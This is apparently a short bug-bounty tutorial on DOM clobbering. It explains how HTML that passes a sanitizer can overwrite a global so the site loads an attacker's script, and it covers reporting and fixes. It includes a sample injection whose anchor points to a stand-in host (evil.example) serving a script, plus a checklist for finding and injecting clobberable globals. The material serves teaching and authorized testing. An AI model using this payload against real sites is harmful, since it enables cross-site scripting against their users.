How DOM Clobbering Turns “Safe” HTML Into XSS

How DOM Clobbering Turns “Safe” HTML Into XSS

DOM clobbering sounds fancy. The idea is simple.

You inject HTML that the filter allows. That HTML overwrites a global variable or DOM property. Later, the site’s own JavaScript trusts that value — and you win.

You are not dropping a classic <script> tag. You are reshaping the page so normal code becomes your gadget.

Quick takeaway: Allowed tags + matching id/name + JS that reads window.something = possible clobber → XSS or logic bug.

A tiny example

App code:

const config = window.defaultAvatar || { url: "/img/default.png" };
script.src = config.url;

Your injection:

<a id="defaultAvatar" href="https://evil.example/x.js"></a>

Suddenly defaultAvatar is not a clean object. It is an element. Depending on the property the code reads next, you may control a script URL.

Why sanitizers miss it

Many “safe HTML” filters allow links, forms, and inputs.

Clobbering abuses those allowed tags to smash property names the sanitizer never meant to protect:

• Config globals like CDN_HOST or callback
• Filter helpers like attributes collections
• Nested tricks with named iframes (advanced cases)

If CSP blocks inline scripts but still allows script loads from a host you can influence, impact can remain real.

A comfortable hunting checklist

1. Find rich-text / Markdown / comment fields with HTML allowlists
2. Open DevTools and note which globals the page reads
3. Inject id= names that match those globals
4. Watch for script URL control, innerHTML chains, or weird redirects
5. Retest with CSP on and off in your notes

What a good report looks like

• Exact markup you injected
• Which property got clobbered
• The sink that consumed it
• Browser versions
• Whether CSP blocked the final step

Fixes that actually help

• Stop reading config from window / DOM-named properties
• Prefer modules and frozen config objects
• Keep a solid sanitizer and avoid dangerous sinks
• Use strict CSP with no attacker-controlled script hosts

Practice on PortSwigger’s DOM clobbering labs before live targets. They teach the pattern without the stress.

---

Original Bugflare article. Grounded in PortSwigger Web Security Academy DOM clobbering material. Authorized testing only.